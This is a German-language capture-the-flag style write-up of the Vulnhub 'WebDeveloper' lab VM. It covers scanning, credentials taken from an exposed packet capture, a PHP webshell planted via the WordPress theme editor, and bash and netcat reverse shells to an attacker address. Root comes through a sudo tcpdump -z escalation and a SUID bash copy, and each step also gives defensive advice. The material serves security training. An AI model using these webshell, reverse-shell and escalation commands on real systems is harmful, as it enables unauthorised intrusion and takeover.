WebDeveloper - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
vi
cat
curl
gobuster
jq
wpscan
msfconsole
dirb
wireshark
urldecode (extern)
nc
find
ss
uname
sudo
tcpdump
echo
mktemp
chmod
cp
bash
which
nano
id
cd
ls

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird durchgeführt, um aktive Geräte im lokalen Netzwerk zu finden.
Bewertung: Das Zielsystem `192.168.2.122` wird identifiziert. Die MAC-Adresse `08:00:27:cc:54:c9` weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): IP-Adresse für weitere Scans verwenden.

 ARP-Scan
192.168.2.122	08:00:27:cc:54:c9	PCS Systemtechnik GmbH
                    

Analyse: Die IP `192.168.2.122` wird dem Hostnamen `webdeveloper1.vln` in der `/etc/hosts`-Datei zugeordnet.
Bewertung: Vereinfacht die Ansprache des Ziels.

 /etc/hosts
 192.168.2.122   webdeveloper1.vln
                     

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird auf das Ziel angewendet.
Bewertung: Der Scan findet zwei offene Ports:

Beide Dienste (Apache, OpenSSH) und insbesondere die WordPress-Version (4.9.8 von 2018) sind veraltet.
Empfehlung (Offensiv): Fokus auf die WordPress-Instanz auf Port 80. Enumeration mit `wpscan`, Suche nach bekannten Schwachstellen in WP 4.9.8 und installierten Plugins/Themes. SSH als sekundären Vektor betrachten.
Empfehlung (Defensiv): Apache, OpenSSH und WordPress dringend auf die neuesten Versionen aktualisieren. Regelmäßige Sicherheitsüberprüfungen durchführen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-18 21:57 CET
Nmap scan report for webdeveloper1.vln (192.168.2.122)
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA)
|   256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA)
|_  256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 4.9.8
|_http-title: Example site – Just another WordPress site
MAC Address: 08:00:27:CC:54:C9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.18 ms webdeveloper1.vln (192.168.2.122)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds

Web Enumeration (WordPress)

Analyse: Ein Nikto-Scan wird gegen Port 80 durchgeführt.
Bewertung: Bestätigt die veraltete Apache-Version und fehlende Sicherheitsheader. Findet Standard-Apache- und WordPress-Dateien (`/icons/README`, `akismet/readme.txt`, `wp-links-opml.php`, `license.txt`). Wichtig: `/wp-content/uploads/` hat Directory Listing aktiviert und der WP-Login (`/wp-login.php`) wird gefunden. Der Hinweis auf Drupal ist eine Falschmeldung von Nikto.
Empfehlung (Offensiv): Das `/wp-content/uploads/`-Verzeichnis auf interessante Dateien untersuchen. Den WP-Login als Ziel für Brute-Force oder Credential-Stuffing verwenden. WPScan für detailliertere WordPress-Enumeration nutzen.
Empfehlung (Defensiv): Directory Listing deaktivieren. WordPress und alle Komponenten aktualisieren. Sicherheitsheader implementieren.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2024-11-18 21:58:27 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/ <-- False Positive
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /: DEBUG HTTP verb may show server debugging information. [...]
+ /icons/README: Apache default file found. [...]
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...]
+ /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
+ /wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2024-11-18 21:58:50 (GMT1) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet die typischen WordPress-Pfade (`/wp-content/`, `/wp-login.php`, `/wp-includes/`, `/readme.html`, `/wp-admin/` etc.) sowie `license.txt`. Bestätigt die WordPress-Struktur.
Empfehlung (Offensiv): Mit WPScan fortfahren, um spezifische Schwachstellen, Benutzer, Plugins und Themes zu finden.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x [...] -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://192.168.2.122
[...]
===============================================================
2024/11/18 21:59:01 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.122/index.php            (Status: 301) [Size: 0] [--> http://192.168.2.122/]
http://192.168.2.122/wp-content           (Status: 301) [Size: 319] [--> http://192.168.2.122/wp-content/]
http://192.168.2.122/wp-login.php         (Status: 200) [Size: 2160]
http://192.168.2.122/license.txt          (Status: 200) [Size: 19935]
http://192.168.2.122/wp-includes          (Status: 301) [Size: 320] [--> http://192.168.2.122/wp-includes/]
http://192.168.2.122/readme.html          (Status: 200) [Size: 7415]
http://192.168.2.122/wp-trackback.php     (Status: 200) [Size: 135]
http://192.168.2.122/wp-admin             (Status: 301) [Size: 317] [--> http://192.168.2.122/wp-admin/]
[...]
===============================================================
2024/11/18 22:00:15 Finished
===============================================

User Enumeration (WP-JSON & SSH)

Analyse: Die WordPress REST API (`/wp-json/wp/v2/users/1`) wird mittels `curl` abgefragt und die Ausgabe mit `jq` formatiert.
Bewertung: Die API ist aktiv und gibt Informationen über den Benutzer mit ID 1 preis: Name und Slug sind `webdeveloper`. Dies ist ein valider Benutzername.
Empfehlung (Offensiv): Den Benutzernamen `webdeveloper` für Brute-Force-Angriffe auf den WP-Login und SSH verwenden.
Empfehlung (Defensiv): Die WordPress REST API einschränken oder deaktivieren, wenn sie nicht benötigt wird, um Benutzer-Enumeration zu verhindern.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.122/index.php/wp-json/wp/v2/users/1 -s| jq
{
  "id": 1,
  "name": "webdeveloper",
  "url": "",
  "description": "",
  "link": "/index.php/author/webdeveloper/",
  "slug": "webdeveloper",
  "avatar_urls": {
    "24": "http://1.gravatar.com/avatar/753f1b5f3453a09893edb2c7c32cabbd?s=24&d=mm&r=g",
    "48": "http://1.gravatar.com/avatar/753f1b5f3453a09893edb2c7c32cabbd?s=48&d=mm&r=g",
    "96": "http://1.gravatar.com/avatar/753f1b5f3453a09893edb2c7c32cabbd?s=96&d=mm&r=g"
  },
  "meta": [],
  "_links": {
    "self": [
      {
        "href": "/index.php/wp-json/wp/v2/users/1"
      }
    ],
    "collection": [
      {
        "href": "/index.php/wp-json/wp/v2/users"
      }
    ]
  }
}

Analyse: WPScan wird ausgeführt, um die WordPress-Instanz genauer zu untersuchen (`wpscan --url http://192.168.2.122`).
Bewertung: WPScan bestätigt die Version 4.9.8 (unsicher) und listet viele bekannte Schwachstellen auf (Authenticated File Delete, Post Type Bypass, SSRF, SQLi, etc.). Es identifiziert das Theme "twentyseventeen" (veraltet) und bestätigt den Benutzer `webdeveloper`.
Empfehlung (Offensiv): Die hohe Anzahl an Schwachstellen in WP 4.9.8 bietet viele potenzielle Angriffsvektoren. Einen Exploit für eine dieser Lücken suchen oder einen Passwort-Brute-Force gegen `webdeveloper` starten.
Empfehlung (Defensiv): WordPress *dringend* aktualisieren!

┌──(root㉿CCat)-[~]
└─# wpscan --url http://192.168.2.122
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
[...]
_______________________________________________________________

[+] URL: http://192.168.2.122/ [192.168.2.122]
[...]
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
[...]
[+] XML-RPC seems to be enabled: http://192.168.2.122/xmlrpc.php
[...]
[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
[...]
 | [!] 63 vulnerabilities identified:
 |
 | [!] Title: WordPress <= 5.0 - Authenticated File Delete
 |     Fixed in: 4.9.9
[...]
[+] WordPress theme in use: twentyseventeen
[...]
 | Version: 1.7 (80% confidence)
[...]
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[...]
[i] User(s) Identified:

[+] webdeveloper
[...]
[+] Finished: Mon Nov 18 22:09:27 2024
[...]

Analyse: Ein Metasploit-Modul (`auxiliary/scanner/ssh/ssh_enumusers`) wird verwendet, um gültige SSH-Benutzernamen zu enumerieren.
Bewertung: Das Modul findet mehrere Standard-Systembenutzer (`mail`, `root`, `news` etc.) und bestätigt den bereits bekannten Benutzer `webdeveloper`.
Empfehlung (Offensiv): Bestätigt `webdeveloper` als gültigen SSH-Benutzer.
Empfehlung (Defensiv): SSH-Benutzerenumeration nach Möglichkeit erschweren (Konfiguration, Patches).

┌──(root㉿CCat)-[~]
└─# msfconsole -q -x "search ssh_enum;use 0"
Matching Modules
================
[...]
   0  auxiliary/scanner/ssh/ssh_enumusers      .                normal  No     SSH Username Enumeration
[...]
msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 100
THREADS => 100
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
USER_FILE => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rport 22
rport => 22
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.2.122
rhosts => 192.168.2.122
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

[*] 192.168.2.122:22 - SSH - Using malformed packet technique
[*] 192.168.2.122:22 - SSH - Checking for false positives
[*] 192.168.2.122:22 - SSH - Starting scan
[+] 192.168.2.122:22 - SSH - User 'mail' found
[+] 192.168.2.122:22 - SSH - User 'root' found
[+] 192.168.2.122:22 - SSH - User 'news' found
[...]
[+] 192.168.2.122:22 - SSH - User 'webdeveloper' found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Credential Discovery (PCAP Analysis)

Analyse: Ein erneuter `dirb`-Scan (diesmal gegen `/`) findet das Verzeichnis `/ipdata/`.
Bewertung: Dieser Fund wurde im vorherigen Gobuster-Scan nicht angezeigt, was auf unterschiedliche Wortlisten oder Konfigurationen hindeutet. Ein Verzeichnis namens `ipdata` könnte Netzwerk-Captures enthalten.
Empfehlung (Offensiv): Das Verzeichnis `/ipdata/` untersuchen.

┌──(root㉿CCat)-[~]
└─# dirb http://192.168.2.122
-----------------
DIRB v2.22
By The Dark Raver
-----------------
[...]
---- Scanning URL: http://192.168.2.122/ ----
+ http://192.168.2.122/index.php (CODE:301|SIZE:0)
+ http://192.168.2.122/ipdata/ (CODE:200|SIZE:2904)                     ==> DIRECTORY
[...]
---- Entering directory: http://192.168.2.122/ipdata/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
[...]
-----------------
END_TIME: Mon Nov 18 22:34:19 2024
DOWNLOADED: 32284 - FOUND: 12

Analyse: Das Verzeichnis `/ipdata/` wird aufgerufen. Es enthält eine Datei `analyze.cap`.
Bewertung: Eine `.cap`-Datei ist ein Netzwerk-Mitschnitt (Packet Capture), wahrscheinlich im pcap-Format. Diese Dateien können mit Tools wie Wireshark oder `tcpdump` analysiert werden und enthalten oft sensible Informationen, einschließlich Klartext-Credentials.
Empfehlung (Offensiv): Die Datei `analyze.cap` herunterladen und mit Wireshark öffnen. Nach HTTP POST-Requests filtern, insbesondere zu Login-Seiten (`/wp-login.php`).
Empfehlung (Defensiv): Niemals Netzwerk-Mitschnitte mit potenziell sensiblen Daten in web-zugänglichen Verzeichnissen ablegen. Verschlüsselung (HTTPS) verwenden, um Credentials im Netzwerkverkehr zu schützen.

http://192.168.2.122/ipdata/

Index of /ipdata
[ICO] Name            Last modified      Size Description
[PARENTDIR] Parent Directory        -
[ ] analyze.cap         2018-10-30 09:14  2.8M
Apache/2.4.29 (Ubuntu) Server at 192.168.2.122 Port 80

Analyse: Die heruntergeladene Datei `analyze.cap` wird mit Wireshark geöffnet. Ein HTTP POST-Request an `/wordpress/wp-login.php` wird untersucht.
Bewertung: Im Body des POST-Requests (HTML Form Data) finden sich die Klartext-Zugangsdaten für den WordPress-Login: `log=webdeveloper` und `pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd`. Das Passwort ist URL-kodiert.
Empfehlung (Offensiv): Das URL-kodierte Passwort dekodieren, um das Klartext-Passwort zu erhalten.
Empfehlung (Defensiv): Login-Vorgänge immer über HTTPS absichern. Keine PCAP-Dateien mit Credentials exponieren.

┌──(root㉿CCat)-[~]
└─# wireshark analyze.cap
---[ HTTP Request ]------------------------------------
POST /wordpress/wp-login.php HTTP/1.1
Host: 192.168.1.176
[...]
Cookie: [...]wordpress_test_cookie=WP+Cookie+check;[...]
[...]

log=webdeveloper&pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd&wp-submit=Log+In&[...]
---------------------------------------------------------

Analyse: Das URL-kodierte Passwort `Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd` wird dekodiert.
Bewertung: Das dekodierte Passwort für den Benutzer `webdeveloper` lautet `Te5eQg&4sBS!Yr$)wf%(DcAd`.
Empfehlung (Offensiv): Mit diesen Credentials (`webdeveloper`:`Te5eQg&4sBS!Yr$)wf%(DcAd`) versuchen, sich bei WordPress (`/wp-login.php`) anzumelden.

https://www.urldecoder.org/

Input:  log=webdeveloper&pwd=Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd&[...]
Output: log=webdeveloper&pwd=Te5eQg&4sBS!Yr$)wf%(DcAd&[...]

Password: Te5eQg&4sBS!Yr$)wf%(DcAd

WordPress Exploitation (Theme Editor RCE)

Analyse: Mit den gefundenen Credentials (`webdeveloper`:`Te5eQg&...`) wird sich erfolgreich im WordPress-Backend (`/wp-admin/`) angemeldet.
Bewertung: Der Benutzer `webdeveloper` hat administrative Rechte (Zugriff auf das Dashboard, Theme Editor etc.).
Empfehlung (Offensiv): Nach Möglichkeiten zur Codeausführung suchen. Der Theme Editor (`Appearance -> Editor`) ist ein klassischer Weg, um PHP-Code (Webshell, Reverse Shell) in eine Theme-Datei (z.B. `404.php`, `functions.php`) einzufügen.
Empfehlung (Defensiv): Den Datei-Editor im WordPress-Backend deaktivieren (Eintrag `define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Benutzerrechte minimieren. WordPress aktuell halten.

http://192.168.2.122/wp-admin/

Login mit: webdeveloper:Te5eQg&4sBS!Yr$)wf%(DcAd

Analyse: Im WordPress Theme Editor wird die Datei `404.php` des aktiven Themes ("Twenty Sixteen", laut WPScan) bearbeitet. Der PHP-Befehl `system($GET['cmd']);` wird eingefügt.
Bewertung: Dies fügt eine einfache Webshell in die 404-Fehlerseite ein. Jeder Aufruf einer nicht existierenden Seite, die auf diese `404.php` umleitet, führt nun den im `cmd`-Parameter übergebenen Befehl aus.
Empfehlung (Offensiv): Die Webshell testen, indem eine nicht existierende URL aufgerufen und der `cmd`-Parameter angehängt wird (z.B. `http://192.168.2.122/wp-content/themes/twentysixteen/404.php?cmd=id`). Anschließend eine Reverse Shell starten.
Empfehlung (Defensiv): Theme Editor deaktivieren. Dateiintegritätsüberwachung einsetzen, um Änderungen an Theme-Dateien zu erkennen.

WordPress Dashboard -> Appearance -> Editor -> Twenty Sixteen Theme -> 404 Template (404.php)

Einfügen:
 system($GET['cmd']); ?>

Speichern der Datei.

Initial Access (Reverse Shell via WP RCE)

Analyse: Die präparierte `404.php` wird mit `curl` und `cmd=ls` aufgerufen, um die Webshell zu testen.
Bewertung: Die Ausgabe zeigt den Inhalt des Theme-Verzeichnisses, was die erfolgreiche Codeausführung als Webserver-Benutzer bestätigt.

┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.122/wp-content/themes/twentysixteen/404.php?cmd=ls
404.php
archive.php
comments.php
css
footer.php
functions.php
genericons
header.php
image.php
inc
index.php
js
page.php
readme.txt
rtl.css
screenshot.png
search.php
searchform.php
sidebar-content-bottom.php
sidebar.php
single.php
style.css
template-parts

Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Über die Webshell (`cmd`-Parameter) wird ein Bash-Reverse-Shell-Payload (URL-kodiert) ausgeführt.
Bewertung: Die Verbindung kommt auf dem Listener an. Der Angreifer erhält eine Shell als `www-data`.
Ergebnis: Erfolgreicher Initial Access als `www-data` durch Ausnutzen der WordPress Theme Editor Schwachstelle.
Empfehlung (Offensiv): Shell stabilisieren, Enumeration für Privilegieneskalation starten.
Empfehlung (Defensiv): Theme Editor deaktivieren. Egress-Filtering. Webserver mit minimalen Rechten betreiben.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
┌──(root㉿CCat)-[~]
└─# curl -s "http://192.168.2.122/wp-content/themes/twentysixteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27"
┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 44692
bash: cannot set terminal process group (3307): Inappropriate ioctl for device
bash: no job control in this shell
www-data@webdeveloper:/var/www/html/wp-content/themes/twentysixteen$

Privilege Escalation (Enumeration)

Analyse: Als `www-data` werden `id`, Netzwerk-Sockets (`ss -altpn`), SUID-Dateien (`find`), `/etc/passwd` und `/home` überprüft. Der Inhalt von `wp-config.php` wird gelesen.
Bewertung: Die Enumeration bestätigt den `www-data`-Kontext. `ss` zeigt die bekannten Ports und MySQL auf localhost. Die SUID-Suche ist umfangreich (inkl. Snap-Binaries), enthält aber neben `sudo` und `pkexec` keine sofortigen offensichtlichen Schwachstellen. `/etc/passwd` ist nicht schreibbar. `/home` enthält nur das Verzeichnis `webdeveloper`. Der entscheidende Fund ist in `wp-config.php`: die Datenbank-Credentials `webdeveloper`:`MasterfTheUniverse`.
Empfehlung (Offensiv): Das gefundene Passwort `MasterfTheUniverse` für den Benutzer `webdeveloper` bei SSH oder `su` ausprobieren.
Empfehlung (Defensiv): Datenbank-Credentials in `wp-config.php` mit restriktiven Dateiberechtigungen schützen (lesbar nur für den Webserver-Benutzer und root). Wo möglich, Datenbankzugriff über Sockets statt TCP/IP und sicherere Authentifizierungsmethoden verwenden.

www-data@webdeveloper:/var/www/html/wp-content/themes/twentysixteen$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@webdeveloper:/var/www/html/wp-content/themes/twentysixteen$ ss -altpn
State      Recv-Q      Send-Q            Local Address:Port            Peer Address:Port
LISTEN     0           128               127.0.0.53%lo:53                   0.0.0.0:*
LISTEN     0           128                     0.0.0.0:22                   0.0.0.0:*
LISTEN     0           80                    127.0.0.1:3306                 0.0.0.0:*
LISTEN     0           128                        [::]:22                      [::]:*
LISTEN     0           128                           *:80                         *:*
www-data@webdeveloper:/var/www/html/wp-content/themes/twentysixteen$ find / -type f -perm -4000 -ls 2>/dev/null
[...] (Umfangreiche Liste mit Standard-SUID, pkexec, sudo, snap-Binaries)
www-data@webdeveloper:/tmp$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1635 Oct 30  2018 /etc/passwd
www-data@webdeveloper:/tmp$ ls /home/
webdeveloper
www-data@webdeveloper:/var/www/html$ cat wp-config.php
[...]
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'webdeveloper');
/** MySQL database password */
define('DB_PASSWORD', 'MasterfTheUniverse');
[...]

Analyse: Es wird versucht, sich per SSH als `webdeveloper` mit dem gefundenen Datenbankpasswort `MasterfTheUniverse` anzumelden.
Bewertung: Der Login ist erfolgreich! Dies bedeutet, dass das Datenbankpasswort auch das SSH-Passwort für den Benutzer `webdeveloper` ist (Passwort-Wiederverwendung).
Empfehlung (Offensiv): Die Shell als `webdeveloper` für die Privilegieneskalation nutzen (`sudo -l`).
Empfehlung (Defensiv): Passwörter niemals wiederverwenden! Für jeden Dienst und Benutzer sollten einzigartige, starke Passwörter verwendet werden. Datenbank-Credentials besonders schützen.

┌──(root㉿CCat)-[~]
└─# ssh webdeveloper@192.168.2.122
webdeveloper@192.168.2.122's password: MasterfTheUniverse
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-38-generic x86_64)
[...]
Last login: Tue Oct 30 09:25:27 2018 from 192.168.1.114
webdeveloper@webdeveloper$

Privilege Escalation (Sudo tcpdump)

Analyse: Als Benutzer `webdeveloper` wird `sudo -l` ausgeführt.
Bewertung: Nach Eingabe des Passworts (`MasterfTheUniverse`) zeigt die Ausgabe, dass `webdeveloper` den Befehl `/usr/sbin/tcpdump` als `root` ausführen darf. Dies ist ein bekannter Vektor zur Privilegieneskalation, da `tcpdump` über die `-z`-Option Befehle nach der Rotation von Capture-Dateien ausführen kann.
Empfehlung (Offensiv): Die GTFOBins-Methode für `tcpdump` mit `sudo` anwenden, um eine Root-Shell zu erhalten.
Empfehlung (Defensiv): `tcpdump` (oder anderen Netzwerk-Sniffern) niemals uneingeschränkte `sudo`-Rechte geben. Wenn `tcpdump` benötigt wird, die Rechte so weit wie möglich einschränken (z.B. nur bestimmte Interfaces, keine Schreibrechte in beliebige Verzeichnisse).

webdeveloper@webdeveloper$ sudo -l
[sudo] password for webdeveloper: MasterfTheUniverse
Matching Defaults entries for webdeveloper on webdeveloper:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
    (root) /usr/sbin/tcpdump

Analyse: Die GTFOBins-Payload für `tcpdump` wird vorbereitet und ausgeführt.
Bewertung:

  1. Ein Befehl (hier `id` zum Testen) wird in eine temporäre Datei geschrieben (`TF=$(mktemp); echo "$COMMAND" > $TF`).
  2. Die Datei wird ausführbar gemacht (`chmod +x $TF`).
  3. `sudo tcpdump` wird mit spezifischen Optionen gestartet: `-ln` (keine Namensauflösung, line-buffered output), `-i eth0` (Interface), `-w /dev/null` (Output verwerfen), `-W 1` (nur eine Datei schreiben), `-G 1` (nach 1 Sekunde rotieren), `-z $TF` (führt das Skript in `$TF` nach der Rotation aus), `-Z root` (führt das Postrotate-Skript als root aus).
Der Test mit `COMMAND='id'` ist erfolgreich und gibt `uid=0(root)` aus.
Empfehlung (Offensiv): Den `COMMAND` durch einen Reverse-Shell-Payload ersetzen.

webdeveloper@webdeveloper$ COMMAND='id'
webdeveloper@webdeveloper$ TF=$(mktemp)
webdeveloper@webdeveloper$ echo "$COMMAND" > $TF
webdeveloper@webdeveloper$ chmod +x $TF
webdeveloper@webdeveloper:/tmp$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
23 packets received by filter
0 packets dropped by kernel
webdeveloper@webdeveloper:/tmp$ uid=0(root) gid=0(root) groups=0(root)

Analyse: Der `COMMAND` wird durch einen Netcat-Reverse-Shell-Payload ersetzt (`rm /tmp/f;mkfifo /tmp/f;...`). Das `sudo tcpdump`-Konstrukt wird erneut ausgeführt.
Bewertung: Auf dem Netcat-Listener (`nc -lvnp 4444`) geht eine Verbindung ein. Der Bericht erwähnt, dass die Shell "nicht richtig funktioniert" und springt dann zu einer alternativen Methode.
Alternative Methode: Ein Skript (`bash`) wird erstellt, das `/bin/bash` nach `/tmp/sh-1` kopiert und das SUID-Bit setzt. Dieses Skript wird dann mit `sudo tcpdump -z` ausgeführt. Anschließend wird `/tmp/sh-1 -p` gestartet.
Bewertung der Alternative: Das `sudo tcpdump`-Konstrukt führt das `bash`-Skript als Root aus. Dadurch wird eine Kopie der Bash mit SUID-Root-Bit in `/tmp` erstellt. Der Aufruf `/tmp/sh-1 -p` startet diese SUID-Bash und `-p` sorgt dafür, dass die effektive UID (root) beibehalten wird. Der `id`-Befehl bestätigt `euid=0(root)`.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen der `sudo tcpdump`-Regel und Erstellen einer SUID-Bash wurde eine Root-Shell erlangt.
Empfehlung (Offensiv): Root-Rechte nutzen.
Empfehlung (Defensiv): `sudo`-Regel für `tcpdump` entfernen/einschränken. Sicherstellen, dass `/tmp` mit `nosuid` gemountet ist, um das Ausführen von SUID-Binaries von dort zu verhindern.

webdeveloper@webdeveloper:/tmp$ COMMAND='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f';TF=$(mktemp);echo "$COMMAND" > $TF;chmod +x $TF
webdeveloper@webdeveloper:/tmp$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
45 packets received by filter
0 packets dropped by kernel
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 37708
id
ls
cd /root
ls
ls -la
webdeveloper@webdeveloper:/tmp$ nano bash
webdeveloper@webdeveloper:/tmp$ cat bash
cp /bin/bash /tmp/sh-1
chmod u+s /tmp/sh-1
webdeveloper@webdeveloper:/tmp$ COMMAND='/tmp/bash';TF=$(mktemp);echo "$COMMAND" > $TF;chmod +x $TF
webdeveloper@webdeveloper:/tmp$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
webdeveloper@webdeveloper:/tmp$ ./sh-1 -p
sh-1-4.4# id
uid=1000(webdeveloper) gid=1000(webdeveloper) euid=0(root) groups=1000(webdeveloper),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
sh-1-4.4#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Analyse: In der Root-Shell wird die Datei `flag.txt` im `/root`-Verzeichnis gefunden und gelesen.
Bewertung: Die Root-Flag wird erfolgreich extrahiert.

sh-1-4.4# cd /root
sh-1-4.4# ls
flag.txt
sh-1-4.4# cat flag.txt
Congratulations here is youre flag:
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290

Proof of Concept (PCAP Credential Discovery)

Schwachstelle: Exponierte Netzwerk-Capture-Datei (`analyze.cap`) mit Klartext-HTTP-Verkehr, einschließlich Login-Credentials, in einem web-zugänglichen Verzeichnis (`/ipdata/`).
Ziel des POC: Nachweis, dass durch Herunterladen und Analysieren der PCAP-Datei WordPress-Administrator-Credentials (`webdeveloper:Te5eQg&...`) im Klartext extrahiert werden können.
Voraussetzungen: Zugriff auf das `/ipdata`-Verzeichnis über HTTP. Ein Tool zur PCAP-Analyse (Wireshark, tcpdump).

Schritt 1: Auffinden und Herunterladen der PCAP-Datei

Analyse: `dirb` fand das Verzeichnis `/ipdata/`. Beim Aufruf im Browser wurde die Datei `analyze.cap` entdeckt und heruntergeladen.

Schritt 2: Analyse des Netzwerkverkehrs

Analyse: Die Datei `analyze.cap` wurde mit Wireshark geöffnet. Ein Filter nach HTTP POST-Requests zu `/wordpress/wp-login.php` wurde angewendet.
Bewertung: Im Body des relevanten POST-Requests waren die Felder `log` (Username) und `pwd` (Passwort) im Klartext (URL-kodiert) sichtbar.

Schritt 3: Dekodierung und Extraktion der Credentials

Analyse: Der Wert des `pwd`-Feldes (`Te5eQg%264sBS%21Yr%24%29wf%25%28DcAd`) wurde URL-dekodiert.
Ergebnis des POC: Die WordPress-Credentials (`webdeveloper`:`Te5eQg&4sBS!Yr$)wf%(DcAd`) wurden erfolgreich aus der PCAP-Datei extrahiert.
Risikobewertung: Kritisch. Ermöglicht die Übernahme des Admin-Kontos der Webanwendung.
Empfehlung (Defensiv): Niemals PCAP-Dateien mit unverschlüsseltem, sensiblem Verkehr in web-zugänglichen Bereichen speichern. Login-Vorgänge immer über HTTPS erzwingen. Sensible Daten in Netzwerk-Mitschnitten vor der Speicherung/Weitergabe entfernen oder anonymisieren.

Proof of Concept (WordPress Theme Editor RCE)

